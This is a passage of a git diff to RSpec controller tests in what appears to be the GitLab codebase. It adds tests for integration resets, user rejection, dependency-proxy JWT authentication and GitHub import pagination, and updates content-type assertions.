expect(response.body).to include('is invalid')
end
end
diff --git a/spec/controllers/admin/integrations_controller_spec.rb b/spec/controllers/admin/integrations_controller_spec.rb
index 1a13d016b73..e14619a9916 100644
--- a/spec/controllers/admin/integrations_controller_spec.rb
+++ b/spec/controllers/admin/integrations_controller_spec.rb
@@ -73,4 +73,28 @@ RSpec.describe Admin::IntegrationsController do
end
end
end
+
+ describe '#reset' do
+ let_it_be(:integration) { create(:jira_service, :instance) }
+ let_it_be(:inheriting_integration) { create(:jira_service, inherit_from_id: integration.id) }
+
+ subject do
+ post :reset, params: { id: integration.class.to_param }
+ end
+
+ it 'returns 200 OK', :aggregate_failures do
+ subject
+
+ expected_json = {}.to_json
+
+ expect(flash[:notice]).to eq('This integration, and inheriting projects were reset.')
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.body).to eq(expected_json)
+ end
+
+ it 'deletes the integration and all inheriting integrations' do
+ expect { subject }.to change { JiraService.for_instance.count }.by(-1)
+ .and change { JiraService.inherit_from_id(integration.id).count }.by(-1)
+ end
+ end
end
diff --git a/spec/controllers/admin/users_controller_spec.rb b/spec/controllers/admin/users_controller_spec.rb
index d0d1fa6a6bc..f902a3d2541 100644
--- a/spec/controllers/admin/users_controller_spec.rb
+++ b/spec/controllers/admin/users_controller_spec.rb
@@ -102,6 +102,57 @@ RSpec.describe Admin::UsersController do
end
end
+ describe 'DELETE #reject' do
+ subject { put :reject, params: { id: user.username } }
+
+ context 'when rejecting a pending user' do
+ let(:user) { create(:user, :blocked_pending_approval) }
+
+ it 'hard deletes the user', :sidekiq_inline do
+ subject
+
+ expect(User.exists?(user.id)).to be_falsy
+ end
+
+ it 'displays the rejection message' do
+ subject
+
+ expect(response).to redirect_to(admin_users_path)
+ expect(flash[:notice]).to eq("You've rejected #{user.name}")
+ end
+
+ it 'sends the user a rejection email' do
+ expect_next_instance_of(NotificationService) do |notification|
+ allow(notification).to receive(:user_admin_rejection).with(user.name, user.notification_email)
+ end
+
+ subject
+ end
+ end
+
+ context 'when user is not pending' do
+ let(:user) { create(:user, state: 'active') }
+
+ it 'does not reject and delete the user' do
+ subject
+
+ expect(User.exists?(user.id)).to be_truthy
+ end
+
+ it 'displays the error' do
+ subject
+
+ expect(flash[:alert]).to eq('This user does not have a pending request')
+ end
+
+ it 'does not email the user' do
+ expect(NotificationService).not_to receive(:new)
+
+ subject
+ end
+ end
+ end
+
describe 'PUT #approve' do
let(:user) { create(:user, :blocked_pending_approval) }
diff --git a/spec/controllers/boards/lists_controller_spec.rb b/spec/controllers/boards/lists_controller_spec.rb
index 9b09f46d17e..29141582c6f 100644
--- a/spec/controllers/boards/lists_controller_spec.rb
+++ b/spec/controllers/boards/lists_controller_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe Boards::ListsController do
read_board_list user: user, board: board
expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
end
it 'returns a list of board lists' do
@@ -85,20 +85,22 @@ RSpec.describe Boards::ListsController do
context 'with invalid params' do
context 'when label is nil' do
- it 'returns a not found 404 response' do
+ it 'returns an unprocessable entity 422 response' do
create_board_list user: user, board: board, label_id: nil
- expect(response).to have_gitlab_http_status(:not_found)
+ expect(response).to have_gitlab_http_status(:unprocessable_entity)
+ expect(json_response['errors']).to eq(['Label not found'])
end
end
context 'when label that does not belongs to project' do
- it 'returns a not found 404 response' do
+ it 'returns an unprocessable entity 422 response' do
label = create(:label, name: 'Development')
create_board_list user: user, board: board, label_id: label.id
- expect(response).to have_gitlab_http_status(:not_found)
+ expect(response).to have_gitlab_http_status(:unprocessable_entity)
+ expect(json_response['errors']).to eq(['Label not found'])
end
end
end
diff --git a/spec/controllers/dashboard_controller_spec.rb b/spec/controllers/dashboard_controller_spec.rb
index 9b78f841cce..c838affa239 100644
--- a/spec/controllers/dashboard_controller_spec.rb
+++ b/spec/controllers/dashboard_controller_spec.rb
@@ -15,16 +15,6 @@ RSpec.describe DashboardController do
describe 'GET issues' do
it_behaves_like 'issuables list meta-data', :issue, :issues
it_behaves_like 'issuables requiring filter', :issues
-
- it 'lists only incidents and issues' do
- issue = create(:incident, project: project, author: user)
- incident = create(:incident, project: project, author: user)
- create(:quality_test_case, project: project, author: user)
-
- get :issues, params: { author_id: user.id }
-
- expect(assigns(:issues)).to match_array([issue, incident])
- end
end
describe 'GET merge requests' do
diff --git a/spec/controllers/groups/boards_controller_spec.rb b/spec/controllers/groups/boards_controller_spec.rb
index 66595c27531..a7480130e0a 100644
--- a/spec/controllers/groups/boards_controller_spec.rb
+++ b/spec/controllers/groups/boards_controller_spec.rb
@@ -21,7 +21,7 @@ RSpec.describe Groups::BoardsController do
list_boards
expect(response).to render_template :index
- expect(response.content_type).to eq 'text/html'
+ expect(response.media_type).to eq 'text/html'
end
context 'with unauthorized user' do
@@ -36,7 +36,7 @@ RSpec.describe Groups::BoardsController do
list_boards
expect(response).to have_gitlab_http_status(:not_found)
- expect(response.content_type).to eq 'text/html'
+ expect(response.media_type).to eq 'text/html'
end
end
@@ -52,7 +52,7 @@ RSpec.describe Groups::BoardsController do
list_boards
expect(response).to render_template :index
- expect(response.content_type).to eq 'text/html'
+ expect(response.media_type).to eq 'text/html'
end
end
end
@@ -81,7 +81,7 @@ RSpec.describe Groups::BoardsController do
list_boards format: :json
expect(response).to have_gitlab_http_status(:not_found)
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
end
end
end
@@ -103,7 +103,7 @@ RSpec.describe Groups::BoardsController do
expect { read_board board: board }.to change(BoardGroupRecentVisit, :count).by(1)
expect(response).to render_template :show
- expect(response.content_type).to eq 'text/html'
+ expect(response.media_type).to eq 'text/html'
end
context 'with unauthorized user' do
@@ -118,7 +118,7 @@ RSpec.describe Groups::BoardsController do
read_board board: board
expect(response).to have_gitlab_http_status(:not_found)
- expect(response.content_type).to eq 'text/html'
+ expect(response.media_type).to eq 'text/html'
end
end
@@ -131,7 +131,7 @@ RSpec.describe Groups::BoardsController do
expect { read_board board: board }.to change(BoardGroupRecentVisit, :count).by(0)
expect(response).to render_template :show
- expect(response.content_type).to eq 'text/html'
+ expect(response.media_type).to eq 'text/html'
end
end
end
@@ -157,7 +157,7 @@ RSpec.describe Groups::BoardsController do
read_board board: board, format: :json
expect(response).to have_gitlab_http_status(:not_found)
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
end
end
end
diff --git a/spec/controllers/groups/clusters/applications_controller_spec.rb b/spec/controllers/groups/clusters/applications_controller_spec.rb
index c1d170edce3..c3947c27399 100644
--- a/spec/controllers/groups/clusters/applications_controller_spec.rb
+++ b/spec/controllers/groups/clusters/applications_controller_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe Groups::Clusters::ApplicationsController do
post :create, params: params.merge(group_id: group)
end
- let(:application) { 'helm' }
+ let(:application) { 'ingress' }
let(:params) { { application: application, id: cluster.id } }
describe 'functionality' do
@@ -44,7 +44,7 @@ RSpec.describe Groups::Clusters::ApplicationsController do
expect { subject }.to change { current_application.count }
expect(response).to have_gitlab_http_status(:no_content)
- expect(cluster.application_helm).to be_scheduled
+ expect(cluster.application_ingress).to be_scheduled
end
context 'when cluster do not exists' do
@@ -68,7 +68,7 @@ RSpec.describe Groups::Clusters::ApplicationsController do
context 'when application is already installing' do
before do
- create(:clusters_applications_helm, :installing, cluster: cluster)
+ create(:clusters_applications_ingress, :installing, cluster: cluster)
end
it 'returns 400' do
diff --git a/spec/controllers/groups/clusters_controller_spec.rb b/spec/controllers/groups/clusters_controller_spec.rb
index 140b7b0f2a8..b287aca1e46 100644
--- a/spec/controllers/groups/clusters_controller_spec.rb
+++ b/spec/controllers/groups/clusters_controller_spec.rb
@@ -476,7 +476,7 @@ RSpec.describe Groups::ClustersController do
expect { post_create_aws }.not_to change { Clusters::Cluster.count }
expect(response).to have_gitlab_http_status(:unprocessable_entity)
- expect(response.content_type).to eq('application/json')
+ expect(response.media_type).to eq('application/json')
expect(response.body).to include('is invalid')
end
end
diff --git a/spec/controllers/groups/dependency_proxy_auth_controller_spec.rb b/spec/controllers/groups/dependency_proxy_auth_controller_spec.rb
new file mode 100644
index 00000000000..857e0570621
--- /dev/null
+++ b/spec/controllers/groups/dependency_proxy_auth_controller_spec.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Groups::DependencyProxyAuthController do
+ include DependencyProxyHelpers
+
+ describe 'GET #authenticate' do
+ subject { get :authenticate }
+
+ context 'feature flag disabled' do
+ before do
+ stub_feature_flags(dependency_proxy_for_private_groups: false)
+ end
+
+ it 'returns successfully', :aggregate_failures do
+ subject
+
+ expect(response).to have_gitlab_http_status(:success)
+ end
+ end
+
+ context 'without JWT' do
+ it 'returns unauthorized with oauth realm', :aggregate_failures do
+ subject
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ expect(response.headers['WWW-Authenticate']).to eq DependencyProxy::Registry.authenticate_header
+ end
+ end
+
+ context 'with valid JWT' do
+ let_it_be(:user) { create(:user) }
+ let(:jwt) { build_jwt(user) }
+ let(:token_header) { "Bearer #{jwt.encoded}" }
+
+ before do
+ request.headers['HTTP_AUTHORIZATION'] = token_header
+ end
+
+ it { is_expected.to have_gitlab_http_status(:success) }
+ end
+
+ context 'with invalid JWT' do
+ context 'bad user' do
+ let(:jwt) { build_jwt(double('bad_user', id: 999)) }
+ let(:token_header) { "Bearer #{jwt.encoded}" }
+
+ before do
+ request.headers['HTTP_AUTHORIZATION'] = token_header
+ end
+
+ it { is_expected.to have_gitlab_http_status(:not_found) }
+ end
+
+ context 'token with no user id' do
+ let(:token_header) { "Bearer #{build_jwt.encoded}" }
+
+ before do
+ request.headers['HTTP_AUTHORIZATION'] = token_header
+ end
+
+ it { is_expected.to have_gitlab_http_status(:not_found) }
+ end
+
+ context 'expired token' do
+ let_it_be(:user) { create(:user) }
+ let(:jwt) { build_jwt(user, expire_time: Time.zone.now - 1.hour) }
+ let(:token_header) { "Bearer #{jwt.encoded}" }
+
+ before do
+ request.headers['HTTP_AUTHORIZATION'] = token_header
+ end
+
+ it { is_expected.to have_gitlab_http_status(:unauthorized) }
+ end
+ end
+ end
+end
diff --git a/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb b/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb
index 615b56ff22f..39cbdfb9123 100644
--- a/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb
+++ b/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb
@@ -3,8 +3,77 @@
require 'spec_helper'
RSpec.describe Groups::DependencyProxyForContainersController do
+ include HttpBasicAuthHelpers
+ include DependencyProxyHelpers
+
+ let_it_be(:user) { create(:user) }
let(:group) { create(:group) }
let(:token_response) { { status: :success, token: 'abcd1234' } }
+ let(:jwt) { build_jwt(user) }
+ let(:token_header) { "Bearer #{jwt.encoded}" }
+
+ shared_examples 'without a token' do
+ before do
+ request.headers['HTTP_AUTHORIZATION'] = nil
+ end
+
+ context 'feature flag disabled' do
+ before do
+ stub_feature_flags(dependency_proxy_for_private_groups: false)
+ end
+
+ it { is_expected.to have_gitlab_http_status(:ok) }
+ end
+
+ it { is_expected.to have_gitlab_http_status(:unauthorized) }
+ end
+
+ shared_examples 'feature flag disabled with private group' do
+ before do
+ stub_feature_flags(dependency_proxy_for_private_groups: false)
+ end
+
+ it 'redirects', :aggregate_failures do
+ group.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:redirect)
+ expect(response.location).to end_with(new_user_session_path)
+ end
+ end
+
+ shared_examples 'without permission' do
+ context 'with invalid user' do
+ before do
+ user = double('bad_user', id: 999)
+ token_header = "Bearer #{build_jwt(user).encoded}"
+ request.headers['HTTP_AUTHORIZATION'] = token_header
+ end
+
+ it { is_expected.to have_gitlab_http_status(:not_found) }
+ end
+
+ context 'with valid user that does not have access' do
+ let(:group) { create(:group, :private) }
+
+ before do
+ user = double('bad_user', id: 999)
+ token_header = "Bearer #{build_jwt(user).encoded}"
+ request.headers['HTTP_AUTHORIZATION'] = token_header
+ end
+
+ it { is_expected.to have_gitlab_http_status(:not_found) }
+ end
+
+ context 'when user is not found' do
+ before do
+ allow(User).to receive(:find).and_return(nil)
+ end
+
+ it { is_expected.to have_gitlab_http_status(:unauthorized) }
+ end
+ end
shared_examples 'not found when disabled' do
context 'feature disabled' do
@@ -27,14 +96,16 @@ RSpec.describe Groups::DependencyProxyForContainersController do
allow_next_instance_of(DependencyProxy::RequestTokenService) do |instance|
allow(instance).to receive(:execute).and_return(token_response)
end
+
+ request.headers['HTTP_AUTHORIZATION'] = token_header
end
describe 'GET #manifest' do
- let(:manifest) { { foo: 'bar' }.to_json }
+ let_it_be(:manifest) { create(:dependency_proxy_manifest) }
let(:pull_response) { { status: :success, manifest: manifest } }
before do
- allow_next_instance_of(DependencyProxy::PullManifestService) do |instance|
+ allow_next_instance_of(DependencyProxy::FindOrCreateManifestService) do |instance|
allow(instance).to receive(:execute).and_return(pull_response)
end
end
@@ -46,6 +117,10 @@ RSpec.describe Groups::DependencyProxyForContainersController do
enable_dependency_proxy
end
+ it_behaves_like 'without a token'
+ it_behaves_like 'without permission'
+ it_behaves_like 'feature flag disabled with private group'
+
context 'remote token request fails' do
let(:token_response) do
{
@@ -80,11 +155,17 @@ RSpec.describe Groups::DependencyProxyForContainersController do
end
end
- it 'returns 200 with manifest file' do
+ it 'sends a file' do
+ expect(controller).to receive(:send_file).with(manifest.file.path, {})
+
+ subject
+ end
+
+ it 'returns Content-Disposition: attachment' do
subject
expect(response).to have_gitlab_http_status(:ok)
- expect(response.body).to eq(manifest)
+ expect(response.headers['Content-Disposition']).to match(/^attachment/)
end
end
@@ -96,7 +177,7 @@ RSpec.describe Groups::DependencyProxyForContainersController do
end
describe 'GET #blob' do
- let(:blob) { create(:dependency_proxy_blob) }
+ let_it_be(:blob) { create(:dependency_proxy_blob) }
let(:blob_sha) { blob.file_name.sub('.gz', '') }
let(:blob_response) { { status: :success, blob: blob } }
@@ -113,6 +194,10 @@ RSpec.describe Groups::DependencyProxyForContainersController do
enable_dependency_proxy
end
+ it_behaves_like 'without a token'
+ it_behaves_like 'without permission'
+ it_behaves_like 'feature flag disabled with private group'
+
context 'remote blob request fails' do
let(:blob_response) do
{
diff --git a/spec/controllers/groups/milestones_controller_spec.rb b/spec/controllers/groups/milestones_controller_spec.rb
index 2c85fe482e2..05e93da18e7 100644
--- a/spec/controllers/groups/milestones_controller_spec.rb
+++ b/spec/controllers/groups/milestones_controller_spec.rb
@@ -177,7 +177,7 @@ RSpec.describe Groups::MilestonesController do
expect(milestones.count).to eq(3)
expect(milestones.collect { |m| m['title'] }).to match_array(['same name', 'same name', 'group milestone'])
expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
end
context 'with subgroup milestones' do
diff --git a/spec/controllers/groups/releases_controller_spec.rb b/spec/controllers/groups/releases_controller_spec.rb
index 0925548f60a..50701382945 100644
--- a/spec/controllers/groups/releases_controller_spec.rb
+++ b/spec/controllers/groups/releases_controller_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe Groups::ReleasesController do
end
it 'returns an application/json content_type' do
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
end
it 'returns OK' do
diff --git a/spec/controllers/groups/settings/integrations_controller_spec.rb b/spec/controllers/groups/settings/integrations_controller_spec.rb
index beb2ad3afec..3233e814184 100644
--- a/spec/controllers/groups/settings/integrations_controller_spec.rb
+++ b/spec/controllers/groups/settings/integrations_controller_spec.rb
@@ -3,8 +3,8 @@
require 'spec_helper'
RSpec.describe Groups::Settings::IntegrationsController do
- let(:user) { create(:user) }
- let(:group) { create(:group) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
before do
sign_in(user)
@@ -24,16 +24,6 @@ RSpec.describe Groups::Settings::IntegrationsController do
group.add_owner(user)
end
- context 'when group_level_integrations not enabled' do
- it 'returns not_found' do
- stub_feature_flags(group_level_integrations: false)
-
- get :index, params: { group_id: group }
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
-
it 'successfully displays the template' do
get :index, params: { group_id: group }
@@ -57,16 +47,6 @@ RSpec.describe Groups::Settings::IntegrationsController do
group.add_owner(user)
end
- context 'when group_level_integrations not enabled' do
- it 'returns not_found' do
- stub_feature_flags(group_level_integrations: false)
-
- get :edit, params: { group_id: group, id: Service.available_services_names(include_project_specific: false).sample }
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
-
Service.available_services_names(include_project_specific: false).each do |integration_name|
context "#{integration_name}" do
it 'successfully displays the template' do
@@ -111,4 +91,42 @@ RSpec.describe Groups::Settings::IntegrationsController do
end
end
end
+
+ describe '#reset' do
+ let_it_be(:integration) { create(:jira_service, group: group, project: nil) }
+ let_it_be(:inheriting_integration) { create(:jira_service, inherit_from_id: integration.id) }
+
+ subject do
+ post :reset, params: { group_id: group, id: integration.class.to_param }
+ end
+
+ context 'when user is not owner' do
+ it 'renders not_found' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'when user is owner' do
+ before do
+ group.add_owner(user)
+ end
+
+ it 'returns 200 OK', :aggregate_failures do
+ subject
+
+ expected_json = {}.to_json
+
+ expect(flash[:notice]).to eq('This integration, and inheriting projects were reset.')
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.body).to eq(expected_json)
+ end
+
+ it 'deletes the integration and all inheriting integrations' do
+ expect { subject }.to change { JiraService.for_group(group.id).count }.by(-1)
+ .and change { JiraService.inherit_from_id(integration.id).count }.by(-1)
+ end
+ end
+ end
end
diff --git a/spec/controllers/groups_controller_spec.rb b/spec/controllers/groups_controller_spec.rb
index 55833ee3aad..939c36a98b2 100644
--- a/spec/controllers/groups_controller_spec.rb
+++ b/spec/controllers/groups_controller_spec.rb
@@ -333,7 +333,7 @@ RSpec.describe GroupsController, factory_default: :keep do
context 'and the user is part of the control group' do
before do
- stub_experiment_for_user(onboarding_issues: false)
+ stub_experiment_for_subject(onboarding_issues: false)
end
it 'tracks the event with the "created_namespace" action with the "control_group" property', :snowplow do
@@ -350,7 +350,7 @@ RSpec.describe GroupsController, factory_default: :keep do
context 'and the user is part of the experimental group' do
before do
- stub_experiment_for_user(onboarding_issues: true)
+ stub_experiment_for_subject(onboarding_issues: true)
end
it 'tracks the event with the "created_namespace" action with the "experimental_group" property', :snowplow do
@@ -400,15 +400,6 @@ RSpec.describe GroupsController, factory_default: :keep do
sign_in(user)
end
- it 'lists only incidents and issues' do
- incident = create(:incident, project: project)
- create(:quality_test_case, project: project)
-
- get :issues, params: { id: group.to_param }
-
- expect(assigns(:issues)).to match_array([issue_1, issue_2, incident])
- end
-
context 'sorting by votes' do
it 'sorts most popular issues' do
get :issues, params: { id: group.to_param, sort: 'upvotes_desc' }
diff --git a/spec/controllers/health_check_controller_spec.rb b/spec/controllers/health_check_controller_spec.rb
index 32b72eec0d6..7f55c4407dd 100644
--- a/spec/controllers/health_check_controller_spec.rb
+++ b/spec/controllers/health_check_controller_spec.rb
@@ -34,14 +34,14 @@ RSpec.describe HealthCheckController, :request_store do
get :index
expect(response).to be_successful
- expect(response.content_type).to eq 'text/plain'
+ expect(response.media_type).to eq 'text/plain'
end
it 'supports passing the token in query params' do
get :index, params: { token: token }
expect(response).to be_successful
- expect(response.content_type).to eq 'text/plain'
+ expect(response.media_type).to eq 'text/plain'
end
end
end
@@ -55,14 +55,14 @@ RSpec.describe HealthCheckController, :request_store do
get :index
expect(response).to be_successful
- expect(response.content_type).to eq 'text/plain'
+ expect(response.media_type).to eq 'text/plain'
end
it 'supports successful json response' do
get :index, format: :json
expect(response).to be_successful
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
expect(json_response['healthy']).to be true
end
@@ -70,7 +70,7 @@ RSpec.describe HealthCheckController, :request_store do
get :index, format: :xml
expect(response).to be_successful
- expect(response.content_type).to eq 'application/xml'
+ expect(response.media_type).to eq 'application/xml'
expect(xml_response['healthy']).to be true
end
@@ -78,7 +78,7 @@ RSpec.describe HealthCheckController, :request_store do
get :index, params: { checks: 'email' }, format: :json
expect(response).to be_successful
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
expect(json_response['healthy']).to be true
end
end
@@ -102,7 +102,7 @@ RSpec.describe HealthCheckController, :request_store do
get :index
expect(response).to have_gitlab_http_status(:internal_server_error)
- expect(response.content_type).to eq 'text/plain'
+ expect(response.media_type).to eq 'text/plain'
expect(response.body).to include('The server is on fire')
end
@@ -110,7 +110,7 @@ RSpec.describe HealthCheckController, :request_store do
get :index, format: :json
expect(response).to have_gitlab_http_status(:internal_server_error)
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
expect(json_response['healthy']).to be false
expect(json_response['message']).to include('The server is on fire')
end
@@ -119,7 +119,7 @@ RSpec.describe HealthCheckController, :request_store do
get :index, format: :xml
expect(response).to have_gitlab_http_status(:internal_server_error)
- expect(response.content_type).to eq 'application/xml'
+ expect(response.media_type).to eq 'application/xml'
expect(xml_response['healthy']).to be false
expect(xml_response['message']).to include('The server is on fire')
end
@@ -128,7 +128,7 @@ RSpec.describe HealthCheckController, :request_store do
get :index, params: { checks: 'email' }, format: :json
expect(response).to have_gitlab_http_status(:internal_server_error)
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
expect(json_response['healthy']).to be false
expect(json_response['message']).to include('Email is on fire')
end
diff --git a/spec/controllers/help_controller_spec.rb b/spec/controllers/help_controller_spec.rb
index 9ac42cbc3ec..6927df3b1c7 100644
--- a/spec/controllers/help_controller_spec.rb
+++ b/spec/controllers/help_controller_spec.rb
@@ -101,7 +101,8 @@ RSpec.describe HelpController do
context 'for Markdown formats' do
context 'when requested file exists' do
before do
- expect(File).to receive(:read).and_return(fixture_file('blockquote_fence_after.md'))
+ expect_file_read(File.join(Rails.root, 'doc/ssh/README.md'), content: fixture_file('blockquote_fence_after.md'))
+
get :show, params: { path: 'ssh/README' }, format: :md
end
@@ -213,6 +214,6 @@ RSpec.describe HelpController do
end
def stub_readme(content)
- expect(File).to receive(:read).and_return(content)
+ expect_file_read(Rails.root.join('doc', 'README.md'), content: content)
end
end
diff --git a/spec/controllers/ide_controller_spec.rb b/spec/controllers/ide_controller_spec.rb
deleted file mode 100644
index 39d92846863..00000000000
--- a/spec/controllers/ide_controller_spec.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe IdeController do
- let(:user) { create(:user) }
-
- before do
- sign_in(user)
- end
-
- it 'increases the views counter' do
- expect(Gitlab::UsageDataCounters::WebIdeCounter).to receive(:increment_views_count)
-
- get :index
- end
-end
diff --git a/spec/controllers/import/bulk_imports_controller_spec.rb b/spec/controllers/import/bulk_imports_controller_spec.rb
index dd850a86227..436daed0af6 100644
--- a/spec/controllers/import/bulk_imports_controller_spec.rb
+++ b/spec/controllers/import/bulk_imports_controller_spec.rb
@@ -57,8 +57,8 @@ RSpec.describe Import::BulkImportsController do
let(:client_response) do
double(
parsed_response: [
- { 'id' => 1, 'full_name' => 'group1', 'full_path' => 'full/path/group1' },
- { 'id' => 2, 'full_name' => 'group2', 'full_path' => 'full/path/group2' }
+ { 'id' => 1, 'full_name' => 'group1', 'full_path' => 'full/path/group1', 'web_url' => 'http://demo.host/full/path/group1' },
+ { 'id' => 2, 'full_name' => 'group2', 'full_path' => 'full/path/group2', 'web_url' => 'http://demo.host/full/path/group1' }
]
)
end
@@ -132,12 +132,27 @@ RSpec.describe Import::BulkImportsController do
end
describe 'POST create' do
+ let(:instance_url) { "http://fake-intance" }
+ let(:pat) { "fake-pat" }
+
+ before do
+ session[:bulk_import_gitlab_access_token] = pat
+ session[:bulk_import_gitlab_url] = instance_url
+ end
+
it 'executes BulkImportService' do
- expect_next_instance_of(BulkImportService) do |service|
+ bulk_import_params = [{ "source_type" => "group_entity",
+ "source_full_path" => "full_path",
+ "destination_name" =>
+ "destination_name",
+ "destination_namespace" => "root" }]
+
+ expect_next_instance_of(
+ BulkImportService, user, bulk_import_params, { url: instance_url, access_token: pat }) do |service|
expect(service).to receive(:execute)
end
- post :create
+ post :create, params: { bulk_import: bulk_import_params }
expect(response).to have_gitlab_http_status(:ok)
end
diff --git a/spec/controllers/import/github_controller_spec.rb b/spec/controllers/import/github_controller_spec.rb
index a408d821833..d82fff1f7ae 100644
--- a/spec/controllers/import/github_controller_spec.rb
+++ b/spec/controllers/import/github_controller_spec.rb
@@ -123,26 +123,33 @@ RSpec.describe Import::GithubController do
end
it 'fetches repos using latest github client' do
- expect_next_instance_of(Gitlab::GithubImport::Client) do |client|
- expect(client).to receive(:each_page).with(:repos).and_return([].to_enum)
+ expect_next_instance_of(Octokit::Client) do |client|
+ expect(client).to receive(:repos).and_return([].to_enum)
end
get :status
end
- it 'concatenates list of repos from multiple pages' do
- repo_1 = OpenStruct.new(login: 'emacs', full_name: 'asd/emacs', name: 'emacs', owner: { login: 'owner' })
- repo_2 = OpenStruct.new(login: 'vim', full_name: 'asd/vim', name: 'vim', owner: { login: 'owner' })
- repos = [OpenStruct.new(objects: [repo_1]), OpenStruct.new(objects: [repo_2])].to_enum
+ context 'pagination' do
+ context 'when no page is specified' do
+ it 'requests first page' do
+ expect_next_instance_of(Octokit::Client) do |client|
+ expect(client).to receive(:repos).with(nil, { page: 1, per_page: 25 }).and_return([].to_enum)
+ end
- allow(stub_client).to receive(:each_page).and_return(repos)
+ get :status
+ end
+ end
- get :status, format: :json
+ context 'when page is specified' do
+ it 'requests repos with specified page' do
+ expect_next_instance_of(Octokit::Client) do |client|
+ expect(client).to receive(:repos).with(nil, { page: 2, per_page: 25 }).and_return([].to_enum)
+ end
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response.dig('provider_repos').count).to eq(2)
- expect(json_response.dig('provider_repos', 0, 'id')).to eq(repo_1.id)
- expect(json_response.dig('provider_repos', 1, 'id')).to eq(repo_2.id)
+ get :status, params: { page: 2 }
+ end
+ end
end
context 'when filtering' do
@@ -150,6 +157,7 @@ RSpec.describe Import::GithubController do
let(:user_login) { 'user' }
let(:collaborations_subquery) { 'repo:repo1 repo:repo2' }
let(:organizations_subquery) { 'org:org1 org:org2' }
+ let(:search_query) { "test in:name is:public,private user:#{user_login} #{collaborations_subquery} #{organizations_subquery}" }
before do
allow_next_instance_of(Octokit::Client) do |client|
@@ -158,20 +166,56 @@ RSpec.describe Import::GithubController do
end
it 'makes request to github search api' do
- expected_query = "test in:name is:public,private user:#{user_login} #{collaborations_subquery} #{organizations_subquery}"
+ expect_next_instance_of(Octokit::Client) do |client|
+ expect(client).to receive(:user).and_return(double(login: user_login))
+ expect(client).to receive(:search_repositories).with(search_query, { page: 1, per_page: 25 }).and_return({ items: [].to_enum })
+ end
expect_next_instance_of(Gitlab::GithubImport::Client) do |client|
expect(client).to receive(:collaborations_subquery).and_return(collaborations_subquery)
expect(client).to receive(:organizations_subquery).and_return(organizations_subquery)
- expect(client).to receive(:each_page).with(:search_repositories, expected_query).and_return([].to_enum)
end
get :status, params: { filter: filter }, format: :json
end
+ context 'pagination' do
+ context 'when no page is specified' do
+ it 'requests first page' do
+ expect_next_instance_of(Octokit::Client) do |client|
+ expect(client).to receive(:user).and_return(double(login: user_login))
+ expect(client).to receive(:search_repositories).with(search_query, { page: 1, per_page: 25 }).and_return({ items: [].to_enum })
+ end
+
+ expect_next_instance_of(Gitlab::GithubImport::Client) do |client|
+ expect(client).to receive(:collaborations_subquery).and_return(collaborations_subquery)
+ expect(client).to receive(:organizations_subquery).and_return(organizations_subquery)
+ end
+
+ get :status, params: { filter: filter }, format: :json
+ end
+ end
+
+ context 'when page is specified' do
+ it 'requests repos with specified page' do
+ expect_next_instance_of(Octokit::Client) do |client|
+ expect(client).to receive(:user).and_return(double(login: user_login))
+ expect(client).to receive(:search_repositories).with(search_query, { page: 2, per_page: 25 }).and_return({ items: [].to_enum })
+ end
+
+ expect_next_instance_of(Gitlab::GithubImport::Client) do |client|
+ expect(client).to receive(:collaborations_subquery).and_return(collaborations_subquery)
+ expect(client).to receive(:organizations_subquery).and_return(organizations_subquery)
+ end
+
+ get :status, params: { filter: filter, page: 2 }, format: :json
+ end
+ end
+ end
+
context 'when user input contains colons and spaces' do
before do
- stub_client(search_repos_by_name: [])
+ allow(controller).to receive(:client_repos).and_return([])
end
it 'sanitizes user input' do
diff --git a/spec/controllers/import/google_code_controller_spec.rb b/spec/controllers/import/google_code_controller_spec.rb
deleted file mode 100644
index 0fda111c029..00000000000
--- a/spec/controllers/import/google_code_controller_spec.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Import::GoogleCodeController do
- include ImportSpecHelper
-
- let(:user) { create(:user) }
- let(:dump_file) { fixture_file_upload('spec/fixtures/GoogleCodeProjectHosting.json', 'application/json') }
-
- before do
- sign_in(user)
- end
-
- describe "POST callback" do
- it "stores Google Takeout dump list in session" do
- post :callback, params: { dump_file: dump_file }
-
- expect(session[:google_code_dump]).to be_a(Hash)
- expect(session[:google_code_dump]["kind"]).to eq("projecthosting#user")
- expect(session[:google_code_dump]).to have_key("projects")
- end
- end
-
- describe "GET status" do
- before do
- @repo = OpenStruct.new(name: 'vim')
- stub_client(valid?: true)
- end
-
- it "assigns variables" do
- @project = create(:project, import_type: 'google_code', creator_id: user.id)
